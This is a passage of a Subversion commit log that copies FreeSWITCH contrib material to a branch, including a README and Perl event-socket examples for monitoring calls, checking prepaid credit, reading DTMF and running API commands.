+/*!40000 ALTER TABLE `users` ENABLE KEYS */;
+UNLOCK TABLES;
+/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
+
+/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
+/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
+/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
+/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
+/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
+/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
+/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
+
+-- Dump completed on 2009-03-15  9:30:01

Copied: freeswitch/branches/seven/contrib/szentesik (from rev 14471, freeswitch/trunk/contrib/szentesik)

Copied: freeswitch/branches/seven/contrib/tc (from rev 14471, freeswitch/trunk/contrib/tc)

Copied: freeswitch/branches/seven/contrib/trixter (from rev 14471, freeswitch/trunk/contrib/trixter)

Deleted: freeswitch/branches/seven/contrib/trixter/README

Copied: freeswitch/branches/seven/contrib/trixter/README (from rev 14471, freeswitch/trunk/contrib/trixter/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,122 @@
+These are examples written by Bret McDanel <trixter AT 0xdecafbad.com>
+In general, web apps are written in PHP, event socket apps are written
+in perl.  The perl examples use FreeSWITCH::Client which is located in
+svn root scripts/socket.  
+
+Most of these examples are not useful in their current state, and require
+some modification to make them useful.  They are to provide implementation
+references for various tasks.  For example, xml-cdr will read the CDR records
+from FreeSWITCH[tm] but does not process them because there is no way to
+know how you will want them stored.  You would be required to implement
+whatever database system (mysql, flat file, CSV, etc) and store the records
+yourself, but it shows how you can receive the CDR records and manipulate 
+them.
+
+
+== LICENSE ==
+All of these scripts are licensed under a public domain license unless
+otherwise stated within the individual files.  What this means that I 
+still maintain the copyright but you are totally free to do whatever 
+with the programs whether commercial or FOSS.
+
+
+
+== FILE LIST ==
+
+apiexec.pl
+	Execute api commands from the console/cron/windows scheduler/etc
+
+makemodconf.pl
+	This will create a modules.conf.xml from the build modules.conf
+	ideal for a new build to uncomment all modules you built and comment
+	the ones you did not
+
+validate-ivr.pl
+	Perl app that does not connect to FreeSWITCH[tm] in any way
+	but will walk through the IVR xml.  This lets you debug them
+	with only a text based display (ssh, cmd.exe, whatever) and
+	see what is going on.  Timeouts are honored as are all other
+	flags and variables in the XML.  Its really only useful for
+	debugging existing IVR menus and ensuring that it will do 
+	what you want.
+
+	usage:  validate-ivr.pl ivr.conf.xml main
+	where the first arg is the xml file and the 2nd arg is the menu name
+
+asyncsock.pl
+	Perl app utilizing EVENT SOCKET that will bind to a port and 
+	is called via the dialplan 'socket' application.  It will read
+	DTMF building a string of DTMF after an interdigit timeout or
+	total timeout.
+
+
+callcredit.pl
+	Perl app utilizing EVENT SOCKET that pings a webserver for each
+	call in progress checking to see if credit still remains.  Can
+	form the basis for a prepaid calling platform where instead of 
+	reserving large amounts of credit, not allowing credit updates
+	mid-call, or allowing customers to go negative by placing multiple
+	concurrent calls.
+
+
+calls.pl
+	Perl app utilizing EVENT SOCKET that relays new call and hangup
+	events to a webserver so that you can monitor in realtime calls
+	that are active on a given switch.  All properties are relayed.
+
+
+conf-dtmf.pl
+	Perl app that will read DTMF events from a conference and play 
+	a sound file.  Could be used as the basis for advanced custom
+	menus from within a conference.  You need to bind the DTMF key
+	to 'event' within conference.conf.xml to be sent to event socket.
+	uses EVENT SOCKET
+
+
+disa.js
+	Javascript app that will enable DISA functionality
+	with black/white lists, pins and other goodies
+
+
+faxlib.jm
+	Javascript class that integrates faxing - DEPRECATED
+	this has litle use now that dptools has a fax detect and transfer
+	to a given extension app
+
+
+call-progress.pl
+	PERL app utilizing EVENT SOCKET that will monitor RING/ANSWER/HANGUP
+	events and issue a command at that time.
+
+
+makecombinedfsxml.pl
+	PERL app that makes freeswitch-combined.xml from a freeswitch.xml
+
+
+regexptest.pl
+	PERL app that tests regexps in CLI mode
+
+
+softphone.pl
+	PERL/TK app that functions like a softphone which lets you place
+	calls from port audio.  Uses EVENT SOCKET
+
+
+xml-cdr
+	PHP xml-cdr web app that receives CDR entries enabling a web based
+	CDR tracking facility in realtime
+
+
+xml-curl
+	PHP xml-curl web app that will deliver configuration files, dialplans
+	and other goodies to FreeSWITCH[tm]
+
+
+xml-rpc
+	PHP xml-rpc web app that will let you monitor calls, confs and execute
+	some commands to control conference members
+
+
+vile
+	This is vile's stuff, he didn't have his own directory when they were
+	added and they are not yet moved into his repository

Deleted: freeswitch/branches/seven/contrib/trixter/apiexec.pl

Copied: freeswitch/branches/seven/contrib/trixter/apiexec.pl (from rev 14471, freeswitch/trunk/contrib/trixter/apiexec.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/apiexec.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/apiexec.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+#!/usr/bin/perl
+# -*- mode:cperl; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+
+#
+# this script will execute api commands via xml-rpc.  This can be handy if you have 
+# some other program that needs to execute things but you dont have a need or ability
+# to write a full program.  This makes it trivial to execute commands from cron/windows scheduler
+# or from some other interface, especially if you are not a developer.
+#
+# the api commands are just as you would type them in the CLI, the output is printed to STDOUT
+#
+# examples:
+#   apiexec.pl -h
+#   apiexec.pl status
+#   apiexec.pl -p password -P 8021 -H 1.2.3.4 "originate sofia/mydomain.com/123\@10.0.0.1 &playback(/sounds/mysound.raw) XML default \"CID NAME\" \"12345678980\""
+
+use FreeSWITCH::Client;
+use Getopt::Std;
+
+
+# Default values
+my $password  = "ClueCon";                           # the password for event socket
+my $host      = "localhost";                         # the hostname to connect to
+my $port      = 8021;                                # the port to connect to
+
+
+
+my %options=();
+my $fs;
+
+sub usage()
+  {
+    print "Usage: $0 [-p pass] [-P port] [-H host] [-h] <command>\n";
+    exit;
+  }
+  
+  
+  # this connects to the event socket
+  sub es_connect()
+    {
+      eval {
+        $fs = init FreeSWITCH::Client {-password => $password, -host => $host, -port => $port};
+        if(defined $fs) {
+          $fs->sendmsg({'command' => 'event plain'}); 
+        }
+      } or die "Error connecting: $!\n";
+    }
+    
+    
+    getopts("p:P:H:h",\%options);
+    
+    usage() if(!$ARGV[0] || defined $options{h});
+    $password = $options{p} if defined $options{p};
+    $host = $options{H} if defined $options{H};
+    $port = $options{P} if defined $options{P};
+    
+    es_connect();
+    my $reply = $fs->command($ARGV[0]);
+    if ($reply->{socketerror}) {
+      die "socket error";
+    }
+    print "$reply\n";
+

Deleted: freeswitch/branches/seven/contrib/trixter/asyncsock.pl

Copied: freeswitch/branches/seven/contrib/trixter/asyncsock.pl (from rev 14471, freeswitch/trunk/contrib/trixter/asyncsock.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/asyncsock.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/asyncsock.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,103 @@
+#!/usr/bin/perl
+# -*- mode:cperl; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+
+# 
+# this script will look for dtmf events in event socket in async mode (where FS calls this 
+# script instead of this script connecting to FS) and fill a buffer, when a timeout occurs it will
+# return that entire DTMF sequence, lather, rinse, repeat
+#
+
+use FreeSWITCH::Client;
+use threads;
+use threads::shared;
+use Data::Dumper;
+
+# configure these
+my $ip              = "0.0.0.0";             # the IP we listen on 0.0.0.0 is all
+my $port            = 8084;                  # the port we listen on
+my $firstDigitDelay = 30;                    # seconds to wait from the first digit pressed - 0 disables
+my $lastDigitDelay  = 3;                     # seconds to wait from the last digit pressed
+
+
+##
+# dont touch  these
+##
+my $fs;
+my $pid;
+my $dtmf : shared ="";
+my $firstDigitTS : shared=0;
+my $lastDigitTS : shared;
+my $done : shared =0;
+
+
+sub timeoutHandler {
+  while(!$done) {
+    if($dtmf != "") {
+      lock($dtmf);
+      $ts = time;
+      if (($firstDigitTS > 0) && ($firstDigitTS <= ($ts - $firstDigitDelay))) {
+        print "First digit timeout - $dtmf\n";
+        $dtmf="";
+      } elsif ($lastDigitTS <= ($ts - $lastDigitDelay)) {
+        print "Last digit timeout - $dtmf\n";
+        $dtmf="";
+      }
+    }
+    sleep 1;
+  }
+
+  if($dtmf != "") {
+    print "Final DTMF when call died - $dtmf\n";
+  }
+}
+
+
+$fs = init FreeSWITCH::Client {} or die "Error $@";
+
+for (;;) {
+  $fs->accept($ip,$port);
+
+  if (!($pid = fork)) {
+    last;
+  }
+}
+
+$o = $fs->call_command("answer");
+$o = $fs->raw_command("myevents");
+
+$timer = threads->new(\&timeoutHandler);
+
+
+# event-date-timestamp
+# event-name DTMF
+while(my $r = $fs->readhash(undef)) {
+  if ($r->{socketerror}) {
+    last;
+  }
+  
+  if ($r->{has_event}) {
+    if($r->{'event-name'} == "DTMF") {
+      $ts=time;
+      # you can use the event TS as opposed to the perl one to eliminate network delay, event queue delay
+      # or whatever, I use the perl one to keep the example simple
+      
+      {
+        lock($dtmf);
+        if($dtmf == "") {
+          $firstDigitTS=$ts;
+        }
+        $lastDigitTS=$ts;
+        $dtmf.=$r->{'event'}->{'dtmf-string'};
+      }
+      
+      print "Got dtmf $r->{'event'}->{'dtmf-string'} at $ts\n";
+    } else {
+      print Dumper $r->{event};
+    }
+  }
+}
+
+$done=1;
+$fs->disconnect();
+$timer->join;
+print "done\n";

Deleted: freeswitch/branches/seven/contrib/trixter/call-progress.pl

Copied: freeswitch/branches/seven/contrib/trixter/call-progress.pl (from rev 14471, freeswitch/trunk/contrib/trixter/call-progress.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/call-progress.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/call-progress.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,153 @@
+#!/usr/bin/perl
+# -*- mode:cperl; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+use FreeSWITCH::Client;
+use POSIX ':signal_h'; # used for alarm to ensure we get heartbeats
+use Data::Dumper; # used to print out myhash debug info
+
+
+# configure these
+my $password  = "ClueCon";                    # the password for event socket
+my $host      = "localhost";                  # the hostname to connect to
+my $port      = 8021;                         # the port to connect to
+my $timeout   = 30;                           # seconds to expect a heartbeat event or reconnect
+my $conntime  = 30;                           # seconds to wait between connection attempts
+my $CIDNAME   = "its me";                     # name to use when originating a call
+my $CIDNUM    = "1234567890";                 # number to use when originating a call
+my $TIMEOUT   = 30;                           # timeout to wait for answer
+
+# array of the regexps for channels that match, useful if you dont want to do this for
+# all calls on your switch
+my @channels = (
+                '^sofia\/mydomain.com\/\d+\@192.168.0.6$',
+                '^sofia/external/888@conference.freeswitch.org$',
+);
+
+##
+# dont touch  these
+##
+my $fs;
+my $lastheartbeat;
+my $lastconnect;
+
+
+sub watchedChannel($) {
+  my $channame = shift;
+
+print "Checking $channame\n";
+
+
+  foreach $regexp (@channels) {
+    if($channame =~ /$regexp/) {
+      return 1;
+    }
+  }
+  return undef;
+}
+
+
+sub do_ring($) {
+  my $myhash = shift;
+
+  print "Got RING for $myhash->{'channel-name'} - $myhash->{'unique-id'}\n";
+
+  # here we are going to just hang it up since its just a silly example
+  # but for variety lets wait 2 seconds before it dies
+  $fs->sendmsg({'command' => "api sched_hangup +2 $myhash->{'unique-id'}"});
+}
+
+
+sub do_answer($) {
+  my $myhash = shift;
+
+  print "Got ANSWER for $myhash->{'channel-name'}\n";
+
+  # here we are going to just hang it up since its just a silly example
+  $fs->sendmsg({'command' => "api killchan $myhash->{'unique-id'}"});
+}
+
+
+
+sub do_hangup($) {
+  my $myhash = shift;
+
+  print "Got HANGUP for $myhash->{'channel-name'} $myhash->{'unique-id'}\n";
+
+  # hey it was a hangup, lets call someone now!
+  $cmd = "api originate sofia/mydomain.com/123\@192.168.0.6 &playback(/sounds/conf-enter.raw) XML default \"$CIDNAME\" \"$CIDNUM\"";
+  $fs->sendmsg({'command' => $cmd});
+}
+
+
+
+# this connects to the event socket
+sub es_connect() {
+    if(! defined $lastconnect) {
+      $lastconnect = time - $conntime;
+    }
+
+    if($lastconnect <= (time - $conntime)) {
+      $lastconnect = time;
+      print "Connecting to $host:$port\n";
+      eval {
+        $fs = init FreeSWITCH::Client {-password => $password, -host => $host, -port => $port};
+        if(defined $fs) {
+          $fs->sendmsg({'command' => 'event plain CHANNEL_STATE CHANNEL_ANSWER heartbeat CHANNEL_HANGUP all'});
+          $lastheartbeat = time;
+        }
+      } or do {
+        print "Error connecting - waiting for retry\n";
+      }
+    }
+
+  }
+
+
+sigaction SIGALRM, new POSIX::SigAction sub { 
+  if ($lastheartbeat < (time - $timeout)) {
+	print "Did not receive a heartbeat in the specified timeout\n";
+	if (defined $fs) {
+      $fs->disconnect();
+      undef $fs;
+	}
+	es_connect();
+  }
+  
+  # reset the alarm
+  alarm $timeout;
+} or die "Error setting SIGALRM handler: $!\n";
+
+
+
+es_connect();
+alarm $timeout;
+
+while (1) {
+    if(defined $fs) {
+      my $reply = $fs->readhash(undef);
+      if ($reply->{socketerror}) {
+	    es_connect();
+      }
+      
+      if ($reply->{body}) {
+	    $myhash = $reply->{event};
+
+	    if ($myhash->{'event-name'} eq "HEARTBEAT") {   ## Deal with heartbeats
+          $lastheartbeat = time;
+          print "Got a heartbeat\n";
+          
+	    } elsif (watchedChannel($myhash->{'channel-name'})) {
+          if ($myhash->{'event-name'} eq "CHANNEL_ANSWER") {   ## deal with answers
+            do_answer($myhash);
+          } elsif ($myhash->{'event-name'} eq "CHANNEL_STATE" && $myhash->{'channel-state'} eq "CS_ROUTING") {
+            do_ring($myhash);
+          } elsif ($myhash->{'event-name'} eq "CHANNEL_HANGUP") { ## last thing done on a channel
+            do_hangup($myhash);
+          } else {  ## Unknown event
+            print Dumper $myhash;
+            #	    print "$reply->{body}\n"; # print out what was sent, myhash is translated by Client.pm
+          }
+	    } # end channel-name filter
+      }
+    }
+}
+

Deleted: freeswitch/branches/seven/contrib/trixter/callcredit.pl

Copied: freeswitch/branches/seven/contrib/trixter/callcredit.pl (from rev 14471, freeswitch/trunk/contrib/trixter/callcredit.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/callcredit.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/callcredit.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,190 @@
+#!/usr/bin/perl
+# -*- mode:cperl; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+
+#
+# this script will look for call setup/tear down events and every INTERVAL query the server for credit 
+# on the calls in progress, if it gets a message saying to hangup a call it will - implying credit no
+# longer exists
+#
+# this script also informs the webserver of the call setup/tear down info so that it can keep track and 
+# later only post a list of UUIDs for the webserver to process.  
+# 
+# the webserver should return the following
+# HANGUP: 1234-5678-90ab-cdef
+# IGNORE: fedc-ba09-8765-4321
+#
+# to hangup the first or stop getting reports about the 2nd uuid
+#
+# uuids are passed to the webserver in a php style array named uuid so its easy to loop through them and 
+# check them for validity
+
+use FreeSWITCH::Client;
+use POSIX ':signal_h'; # used for alarm to ensure we get heartbeats
+use Data::Dumper; # used to print out myhash debug info
+
+# use DBI instead of these two for direct database inserts/deletes 
+# which is likely to be more efficient, this is however just an example
+use LWP::UserAgent; # for posting to the webserver
+use URI::Escape ('uri_escape');  # to html encode values
+
+
+# configure these
+my $password  = "ClueCon";                           # the password for event socket
+my $host      = "localhost";                         # the hostname to connect to
+my $port      = 8021;                                # the port to connect to
+my $timeout   = 1;                                   # when setting this make sure its low enough to detect
+                                                     # lost heartbeats and high enough that it doesnt hose your 
+                                                     # system, also queryInterval is checked each time this runs
+                                                     # so you should make queryInterval an interger multiple
+my $queryInterval = 3;
+my $heartbeatInterval = 30;                          # seconds to expect a heartbeat event or reconnect
+my $url       = "http://localhost/activecalls.php";  # the url to post the data to use http://user:pass@host/script for auth credentials
+
+
+##
+# dont touch  these
+##
+my $fs;
+my $lastheartbeat;
+my $lastQuery;
+my %uuids;
+my $ua = LWP::UserAgent->new;
+$ua->agent("FreeSWITCH/1.0");
+
+
+# this connects to the event socket
+sub es_connect()
+  {
+    print "Connecting to $host:$port\n";
+    eval {
+      $fs = init FreeSWITCH::Client {-password => $password, -host => $host, -port => $port};
+      if(defined $fs) {
+        # channel_create doesnt have the destination number so we wait for the codec event
+        $fs->sendmsg({'command' => 'event plain heartbeat channel_hangup codec'}); 
+        $lastheartbeat = time;
+      }
+    } or do {
+      print "Error connecting - waiting for retry\n";
+    }
+
+  }
+
+
+sigaction SIGALRM, new POSIX::SigAction sub { 
+  if ($lastheartbeat < (time - $heartbeatInterval)) {
+	print "Did not receive a heartbeat in the specified timeout\n";
+	if (defined $fs) {
+      $fs->disconnect();
+      undef $fs;
+	}
+	es_connect();
+  }
+
+
+  # check the calls
+  $uuidstr = "";
+  $queryTime = time;
+  for my $uuid ( keys %uuids ) {
+    if($uuids{$uuid} > 2 && $uuids{$uuid}<= ($queryTime - $queryInterval)) {
+      $uuidstr .= "&uuid[]=$uuid";
+      $uuids{$uuid}=$queryTime;
+    }
+  }
+
+  if($uuidstr ne "") {
+    my $req = HTTP::Request->new(POST => $url);
+    $req->content_type('application/x-www-form-urlencoded');
+    $req->content($uuidstr);
+    my $res = $ua->request($req);
+    if(!$res->is_success) {
+      print "Error checking credit got ".$res->status_line."\n";
+    }
+    @lines = split(/\n/,$res->content);
+
+    foreach $line (@lines) {
+      if($line =~ /^HANGUP: (.*)/) {
+        print "hanging up $1\n";
+        $fs->sendmsg({'command' => "api killchan $1"});
+      } elsif ($line =~ /^IGNORE: (.*)/) {
+        delete $uuids{$1};
+      }
+
+      print "LINE: $line\n\n";
+    }
+
+    # XXX we need to figure out how to hangup calls here
+  }
+
+    
+  
+  # reset the alarm
+  alarm $timeout;
+} or die "Error setting SIGALRM handler: $!\n";
+
+
+
+es_connect();
+alarm $timeout;
+
+while (1) {
+    if(defined $fs) {
+      my $reply = $fs->readhash(undef);
+      if ($reply->{socketerror}) {
+	    es_connect();
+      }
+      
+      if ($reply->{body}) {
+	    $myhash = $reply->{event};
+        
+	    if ($myhash->{'event-name'} eq "HEARTBEAT") {   ## Deal with heartbeats
+          $lastheartbeat = time;
+          print "Got a heartbeat\n";
+
+        } elsif ($myhash->{'event-name'} eq "CODEC") { ## New call setup
+          if(!$uuids{$myhash->{'unique-id'}}) {
+            print $myhash->{'unique-id'}." has called\n";
+            $uuids{$myhash->{'unique-id'}}=time;
+            $urlstr="";
+            while ( my ($key, $value) = each(%$myhash) ) {
+              $urlstr .= "&$key=".uri_escape($value);
+            }
+
+            my $req = HTTP::Request->new(POST => $url);
+            $req->content_type('application/x-www-form-urlencoded');
+            $req->content($urlstr);
+            my $res = $ua->request($req);
+            if(!$res->is_success) {
+              print "Error posting NEWCALL to webserver got ".$res->status_line."\n";
+            }
+          }
+          
+
+
+        } elsif ($myhash->{'event-name'} eq "CHANNEL_HANGUP") { ## hangup event
+          print $myhash->{'unique-id'}." has hung up\n";
+          delete $uuids{$myhash->{'unique-id'}}; # we get a codec event after hangup
+
+          $urlstr="";
+          while ( my ($key, $value) = each(%$myhash) ) {
+            $urlstr .= "&$key=".uri_escape($value);
+          }
+
+          my $req = HTTP::Request->new(POST => $url);
+          $req->content_type('application/x-www-form-urlencoded');
+          $req->content($urlstr);
+          my $res = $ua->request($req);
+          if(!$res->is_success) {
+            print "Error posting HANGUP to webserver got ".$res->status_line."\n";
+          }
+          
+          
+	    } else {  ## Unknown event
+          print "EVENT NAME: " . $myhash->{'event-name'} . "\n";
+          print Dumper $myhash;
+          #	    print "$reply->{body}\n"; # print out what was sent, myhash is translated by Client.pm
+	    }
+	    
+      } 
+    }
+}
+

Deleted: freeswitch/branches/seven/contrib/trixter/calls.pl

Copied: freeswitch/branches/seven/contrib/trixter/calls.pl (from rev 14471, freeswitch/trunk/contrib/trixter/calls.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/calls.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/calls.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,156 @@
+#!/usr/bin/perl
+# -*- mode:cperl; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+
+#
+# this script will look for call setup/tear down events and conference join/part events and send them
+# to a webserver which can then update a database so you have realtime counts and all of active channels
+# across multiple switches.  It also allows you to know who is in without making many XML-RPC calls so you
+# can use XML-RPC to hang up the calls or whatever
+# 
+
+use FreeSWITCH::Client;
+use POSIX ':signal_h'; # used for alarm to ensure we get heartbeats
+use Data::Dumper; # used to print out myhash debug info
+
+# use DBI instead of these two for direct database inserts/deletes 
+# which is likely to be more efficient, this is however just an example
+use LWP::UserAgent; # for posting to the webserver
+use URI::Escape ('uri_escape');  # to html encode values
+
+
+# configure these
+my $password  = "ClueCon";                           # the password for event socket
+my $host      = "localhost";                         # the hostname to connect to
+my $port      = 8021;                                # the port to connect to
+my $timeout   = 30;                                  # seconds to expect a heartbeat event or reconnect
+my $url       = "http://localhost/activecalls.php";  # the url to post the data to use http://user:pass@host/script for auth credentials
+
+
+##
+# dont touch  these
+##
+my $fs;
+my $lastheartbeat;
+my @uuids;
+my $ua = LWP::UserAgent->new;
+$ua->agent("FreeSWITCH/1.0");
+
+
+# this connects to the event socket
+sub es_connect()
+  {
+    print "Connecting to $host:$port\n";
+    eval {
+      $fs = init FreeSWITCH::Client {-password => $password, -host => $host, -port => $port};
+      if(defined $fs) {
+        # channel_create doesnt have the destination number so we wait for the codec event
+        $fs->sendmsg({'command' => 'event plain heartbeat channel_hangup codec CUSTOM conference::maintenence'}); 
+        $lastheartbeat = time;
+      }
+    } or do {
+      print "Error connecting - waiting for retry\n";
+    }
+
+  }
+
+
+sigaction SIGALRM, new POSIX::SigAction sub { 
+  if ($lastheartbeat < (time - $timeout)) {
+	print "Did not receive a heartbeat in the specified timeout\n";
+	if (defined $fs) {
+      $fs->disconnect();
+      undef $fs;
+	}
+	es_connect();
+  }
+  
+  # reset the alarm
+  alarm $timeout;
+} or die "Error setting SIGALRM handler: $!\n";
+
+
+
+es_connect();
+alarm $timeout;
+
+while (1) {
+    if(defined $fs) {
+      my $reply = $fs->readhash(undef);
+      if ($reply->{socketerror}) {
+	    es_connect();
+      }
+      
+      if ($reply->{body}) {
+	    $myhash = $reply->{event};
+        
+	    if ($myhash->{'event-name'} eq "HEARTBEAT") {   ## Deal with heartbeats
+          $lastheartbeat = time;
+          print "Got a heartbeat\n";
+
+        } elsif ($myhash->{'event-name'} eq "CODEC") { ## New call setup
+          if(!$uuids->{$myhash->{'unique-id'}}) {
+            print $myhash->{'unique-id'}." has called\n";
+            $uuids->{$myhash->{'unique-id'}}=1;
+            $urlstr="";
+            while ( my ($key, $value) = each(%$myhash) ) {
+              $urlstr .= "&$key=".uri_escape($value);
+            }
+
+            my $req = HTTP::Request->new(POST => $url);
+            $req->content_type('application/x-www-form-urlencoded');
+            $req->content($urlstr);
+            my $res = $ua->request($req);
+            if(!$res->is_success) {
+              print "Error posting NEWCALL to webserver got ".$res->status_line."\n";
+            }
+          }
+          elsif($uuids->{$myhash->{'unique-id'}}==2) {
+            delete $uuids->{$myhash->{'unique-id'}}; # we get a codec event after hangup
+          }
+          
+
+
+        } elsif ($myhash->{'event-name'} eq "CHANNEL_HANGUP") { ## hangup event
+          print $myhash->{'unique-id'}." has hung up\n";
+          $uuids->{$myhash->{'unique-id'}}=2; # we do this so that the final codec event can delete it
+          $urlstr="";
+          while ( my ($key, $value) = each(%$myhash) ) {
+            $urlstr .= "&$key=".uri_escape($value);
+          }
+
+          my $req = HTTP::Request->new(POST => $url);
+          $req->content_type('application/x-www-form-urlencoded');
+          $req->content($urlstr);
+          my $res = $ua->request($req);
+          if(!$res->is_success) {
+            print "Error posting HANGUP to webserver got ".$res->status_line."\n";
+          }
+          
+          
+	    } elsif ($myhash->{'event-subclass'} eq "conference::maintenence") {   ## deal with Conference stuff
+          if(($myhash->{'action'} eq 'add-member') || ($myhash->{'action'} eq 'del-member')) {  ## join/part
+            print $myhash->{'unique-id'} ." ". $myhash->{'action'}." in conference " . $myhash->{'conference-name'}."\n";
+            $urlstr="";
+            while ( my ($key, $value) = each(%$myhash) ) {
+              $urlstr .= "&$key=".uri_escape($value);
+            }
+
+            my $req = HTTP::Request->new(POST => $url);
+            $req->content_type('application/x-www-form-urlencoded');
+            $req->content($urlstr);
+            my $res = $ua->request($req);
+            if(!$res->is_success) {
+              print "Error posting ".$myhash->{'action'}." to webserver got ".$res->status_line."\n";
+            }
+
+          }
+	    } else {  ## Unknown event
+          print "EVENT NAME: " . $myhash->{'event-name'} . "\n";
+          print Dumper $myhash;
+          #	    print "$reply->{body}\n"; # print out what was sent, myhash is translated by Client.pm
+	    }
+	    
+      } 
+    }
+}
+

Deleted: freeswitch/branches/seven/contrib/trixter/conf-dtmf.pl

Copied: freeswitch/branches/seven/contrib/trixter/conf-dtmf.pl (from rev 14471, freeswitch/trunk/contrib/trixter/conf-dtmf.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/conf-dtmf.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/conf-dtmf.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,100 @@
+#!/usr/bin/perl
+# -*- mode:cperl; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+use FreeSWITCH::Client;
+use POSIX ':signal_h'; # used for alarm to ensure we get heartbeats
+use Data::Dumper; # used to print out myhash debug info
+
+
+# configure these
+my $password  = "ClueCon";                    # the password for event socket
+my $host      = "localhost";                  # the hostname to connect to
+my $port      = 8021;                         # the port to connect to
+my $timeout   = 30;                           # seconds to expect a heartbeat event or reconnect
+
+# hash for music, default must be defined, if you define other entities then the conference name will be used to match against that
+my %soundfile = (
+                 'default' => '/sounds/fpm-calm-river.wav',
+                 '123'     => '/sounds/welcome.raw',
+                );
+
+
+
+##
+# dont touch  these
+##
+my $fs;
+my $lastheartbeat;
+
+
+# this connects to the event socket
+sub es_connect()
+  {
+    print "Connecting to $host:$port\n";
+    eval {
+      $fs = init FreeSWITCH::Client {-password => $password, -host => $host, -port => $port};
+      if(defined $fs) {
+        $fs->sendmsg({'command' => 'event plain heartbeat CUSTOM conference::maintenence'});
+        $lastheartbeat = time;
+      }
+    } or do {
+      print "Error connecting - waiting for retry\n";
+    }
+
+  }
+
+
+sigaction SIGALRM, new POSIX::SigAction sub { 
+  if ($lastheartbeat < (time - $timeout)) {
+	print "Did not receive a heartbeat in the specified timeout\n";
+	if (defined $fs) {
+      $fs->disconnect();
+      undef $fs;
+	}
+	es_connect();
+  }
+  
+  # reset the alarm
+  alarm $timeout;
+} or die "Error setting SIGALRM handler: $!\n";
+
+
+
+es_connect();
+alarm $timeout;
+
+while (1) {
+    if(defined $fs) {
+      my $reply = $fs->readhash(undef);
+      if ($reply->{socketerror}) {
+	    es_connect();
+      }
+      
+      if ($reply->{body}) {
+	    $myhash = $reply->{event};
+        
+	    if ($myhash->{'event-name'} eq "HEARTBEAT") {   ## Deal with heartbeats
+          $lastheartbeat = time;
+          print "Got a heartbeat\n";
+          
+	    } elsif ($myhash->{'event-subclass'} eq "conference::maintenence") {   ## deal with Conference stuff
+          
+          if($myhash->{'action'} eq 'dtmf') {  ## DTMF event
+		    print "conf: $myhash->{'conference-name'}\tmember: $myhash->{'member-id'}\tDTMF: $myhash->{'dtmf-key'}\n";
+		    if(defined $soundfile{$myhash->{'conference-name'}}) {
+              $fs->sendmsg({'command' => "api conference $myhash->{'conference-name'} play $soundfile{$myhash->{'conference-name'}}"});
+		    } else {
+              $fs->sendmsg({'command' => "api conference $myhash->{'conference-name'} play $soundfile{'default'}"});
+		    }
+		    
+          } else {  ## Just print out all other events
+		    print "conf: $myhash->{'conference-name'}\tmemid: $myhash->{'member-id'}\taction: $myhash->{'action'}\tCLID: $myhash->{'caller-caller-id-number'}\n";
+          }
+	    } else {  ## Unknown event
+          print Dumper $myhash;
+          #	    print "$reply->{body}\n"; # print out what was sent, myhash is translated by Client.pm
+	    }
+	    
+      } 
+    }
+}
+

Copied: freeswitch/branches/seven/contrib/trixter/dialplan (from rev 14471, freeswitch/trunk/contrib/trixter/dialplan)

Deleted: freeswitch/branches/seven/contrib/trixter/dialplan/README

Copied: freeswitch/branches/seven/contrib/trixter/dialplan/README (from rev 14471, freeswitch/trunk/contrib/trixter/dialplan/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/dialplan/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/dialplan/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,209 @@
+This dialplan was originally based on work by intralanman however I refactored
+what he did so that it was more configurable.  Now instead of requiring multiple
+different dialplans you have one and channel variables which lets you set
+a per user dial mapping very easily.
+
+I originally started working on this for http://fswebpanel.sf.net a web based 
+configuration tool I am working on for FreeSWITCH.  Currently fswebpanel supports
+this dialplan, and you can create users that set the variables.  This makes
+it much easier to deal with.
+
+
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+SCOPE AND PURPOSE
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+This directory is designed to provide drop in replacement dialing plans that 
